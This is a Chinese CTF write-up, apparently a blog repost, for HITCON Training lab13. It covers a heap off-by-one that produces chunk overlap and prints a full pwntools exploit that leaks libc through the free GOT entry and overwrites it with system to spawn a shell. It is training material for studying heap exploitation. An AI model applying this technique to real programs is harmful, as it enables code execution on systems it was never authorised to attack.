【PWN · heap | Overlap | off-by-one】HITCON Trainging lab13

news2024/11/27 12:35:14

记录一道wiki学习overlap的题目

前言

通过overlap可以造成堆的重叠,进而通过堆的修改、访问等操作,劫持或泄露另一个堆的信息,如果堆上存在指针,而存在对指针的读写,就可以控制修改该指针,进行任意地址读/写。


一、题目


二、思路

存在show和edit功能,且结构体上含有字符串指针,edit中存在off-by-one漏洞可造成overlap。正如我们所说的,可以造成任意地址读写。这里通过任意地址读来泄露libc地址,通过任意地址写来劫持free的got表为system。具体看exp,深夜,累了。


三、exp

from pwn import *

context(arch='amd64',log_level='debug')

io=process('./pwn')
elf=ELF('./pwn')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def create(size_heap,content):
    io.sendlineafter(b'Your choice :',b'1')
    io.sendlineafter(b'Size of Heap : ',str(size_heap).encode())
    io.sendlineafter(b'Content of heap:',content)
    io.recvuntil(b'SuccessFul')

def edit(index,content):
    io.sendlineafter(b'Your choice :',b'2')
    io.sendlineafter(b'Index :',str(index).encode())
    io.recvuntil(b'Content of heap : ')
    io.sendline(content)

def show(index):
    io.sendlineafter(b'Your choice :',b'3')
    io.sendlineafter(b'Index :',str(index).encode())
    io.recvuntil(b'Size : ')
    size=io.recvuntil(b'\n',drop=True)
    io.recvuntil(b'Content : ')
    content=io.recvuntil(b'\n',drop=True)
    return size,content
def delete(index):
    io.sendlineafter(b'Your choice :',b'4')
    io.sendlineafter(b'Index :',str(index).encode())

# 思路:libc通过指针show可以打印
# 通过extend将一个chunk包含在另一个chunk的conten域中
# 修改chunk的content指针指向free_got,且修改chunk头为'/bin/sh'
# 修改free_got的内容为system

# gdb.attach(io)
create(0x38,b'to write bin_sh and off_by_one')  
#之所以是0x_8的大小,是为了造成临近堆的prev_size域复用,堆1末与堆2size域相邻,为1字节的溢出作准备
create(0x10,b'tobeoff_by_one')
edit(0,b'/bin/sh\x00'+0x30*b'a'+b'\x41')
delete(1)
create(0x30,b'a'*0x20+p64(0x30)+p64(elf.got['free']))
sz,free_addr=show(1)
free_addr=u64(free_addr.ljust(8,b'\x00'))
success(hex(free_addr))
libc_base=free_addr-libc.sym['free']
system=libc_base+libc.sym['system']
edit(1,p64(system))
delete(0)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1169086.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Redis Part2

Redis中如何的去存放一个Java对象? 直接存放Json类型即可,因为我们Json类型最终就是一个String类型。 Spring Boot整合Redis 三步骤完成SpringBoot对Redis数据库的整合 引入spring-boot-starter-data-redis依赖在application.yml中配置Redis信息注入Re…

Java自学第2课:Java语言基础知识要点

1 Java主类结构 任务:创建新项目名为item,包名为number,类名为first。 1.1 包声明 不指定包时,默认就是工程名,指定后,类文件可以分类了,是这意思吧。包就大概等于一个文件夹。而且在类文件中…

基于nodejs+vue网上鲜花销售系统

目 录 摘 要 I ABSTRACT II 目 录 II 第1章 绪论 1 1.1背景及意义 1 1.2 国内外研究概况 1 1.3 研究的内容 1 第2章 相关技术 3 2.1 nodejs简介 4 2.2 express框架介绍 6 2.4 MySQL数据库 4 第3章 系统分析 5 3.1 需求分析 5 3.2 系统可行性分析 5 3.2.1技术可行性:…

初识Java 17-1 反射

目录 反射的基本作用 Class对象 类字面量 泛型类的引用 cast()方法 本笔记参考自: 《On Java 中文版》 ||| 反射可以在程序运行时发现并使用对象的类型信息。 反射的存在使Java的编程不再局限于面向类型的操作。这一特性有利有弊,在深入Java之前&am…

【前端笔记】ant-design-vue 3.x使用modal.method()自定义content内容小记

在一次编写业务代码时,碰到了一种既想要Modal.success样式,有想要定制其content内容的情况。 大部分情况下,使用Modal.method()这种方式时,可能content内容固定都是字符串,那如果想要做更高级的交互怎么办&#xff1f…

文件管理技巧:根据大小智能分类并移动至目标文件夹

在文件管理过程中,我们经常需要整理大量的文件。根据文件的大小,将其智能分类并移动至目标文件夹,可以帮助我们更高效地管理文件,提高工作效率。通过使用云炫文件管理器可以根据文件大小进行智能分类和移动至目标文件夹&#xff0…

【LeetCode】117. 填充每个节点的下一个右侧节点指针 II

117. 填充每个节点的下一个右侧节点指针 II 难度:中等 题目 给定一个二叉树: struct Node {int val;Node *left;Node *right;Node *next; }填充它的每个 next 指针,让这个指针指向其下一个右侧节点。如果找不到下一个右侧节点&#xff0c…

【Linux】centos7安装配置及Linux常用命令

目录 一.Centos安装与配置 1.1.创建 1.2.安装配置CentOS 7实操 二.Linux常用命令 2.1.常用命令 2.2.三种模式 三.换源处理(切换国内源) 3.1.拍照备份 好啦今天就到这里哦!!希望能帮到你哦!!! 一.Centos安装与配…

Ubuntu重启后进入initramfs导致无法开机解决方案

今天,我的电脑意外关机,重新开机后打开了虚拟机。该虚拟机使用的是 Ubuntu 22.04 系统。但重启后,系统一直显示(initramfs):,导致无法正常启动。最后,在网上查找了一些解决方案,成功解决了这个开机问题。在…

高等数学教材重难点题型总结(九)多元函数微分法及其应用

第九章习题总结完毕,最难的应该就是方程组求解隐函数中的雅可比行列式了,其他方面无论是期末还是考研都不会出太多难题。对于多元极限和连续性质要理解得更深刻一些,而方向导数、梯度等公式,应该熟练掌握~ 1. 写出多元函数的定义域…

Linux 将Qt程序打包为AppImage包

前言 在 Linux 环境下,开发完 Qt 程序后,也需要制作为一个安装包或者可执行文件进行分发。这里介绍使用 linuxdeployqt 将 Qt 程序打包为 .AppImage 应用程序(类似于 Windows 的绿色免安装软件) 环境配置 配置 Qt 环境变量 这…

docker compose实现容器编排

Compose 使用的三个步骤: 使用 Dockerfile 定义应用程序的环境 使用 compose.yml 定义构成应用程序的服务,这样它们可以在隔离环境中一起运行 最后,执行 docker compose up 命令来启动并运行整个应用程序 为什么需要docker compose Dock…

VBA快速动态考勤统计

实例需求:某公司的上下班打卡记录如下所示,其中Table_In为上班打卡记录,Table_Out为下班打卡记录。 现在需要根据日期整理为如下格式的考勤表。需要注意如下几点: 每天的打卡次数不确定最后一列Total/Day统计该天的出勤总时长&a…

服务器数据恢复—Zfs文件系统下文件被误删除的如何恢复数据?

服务器故障: 一台zfs文件系统服务器,管理员误操作删除服务器上的数据。 服务器数据恢复过程: 1、将故障服务器所有磁盘编号后取出,硬件工程师检测所有硬盘后没有发现有磁盘存在硬件故障。以只读方式将全部磁盘做扇区级别的镜像备…

如何有效搭建产品帮助中心?看这一篇文就够了!

在当今快节奏的数字化时代,产品帮助中心成为了企业提供优质客户支持和增强用户体验的重要组成部分。无论是软件、电子设备还是在线服务,用户都期望能够快速找到解决问题的方法和获得详细的产品指导。因此,搭建一个高效且易于使用的产品帮助中…

Canvas绘制简易雨滴碰撞效果

实现会动的图形&#xff0c;向下播放多张静态的图片。一秒内要大于屏幕刷新的帧数(60) 也就是每隔1/60s执行一次函数在每次绘制的正方形上添加一个背景色为白色蒙板。 效果图 源代码 <!DOCTYPE html> <html lang"en"><head><meta charset"…

数据库进阶教学——数据库故障恢复(日志文件)

目录 一、日志简介 二、日志文件操作 1、查看日志状态 2、开启日志功能 3、查看日志文件 4、查看当前日志 5、查看日志中的事件 6、删除日志文件 7、查看和修改日志文件有效期 8、查看日志文件详细信息 三、删除的数据库恢复 一、日志简介 日志是记录所有数据库表结…

全国首批!中国儿童青少年戏剧艺术普及推广中心——福建省艺术馆、福州市文化馆推广中心授牌仪式在福州举办

2023年11月1日&#xff0c;由中国儿童艺术剧院、文化和旅游部全国公共文化发展中心主办&#xff0c;福建省文化和旅游厅支持&#xff0c;福建省艺术馆、福州市文化和旅游局承办&#xff0c;福州市文化馆协办的“中国儿童青少年戏剧艺术普及推广中心——福建省艺术馆、福州市文化…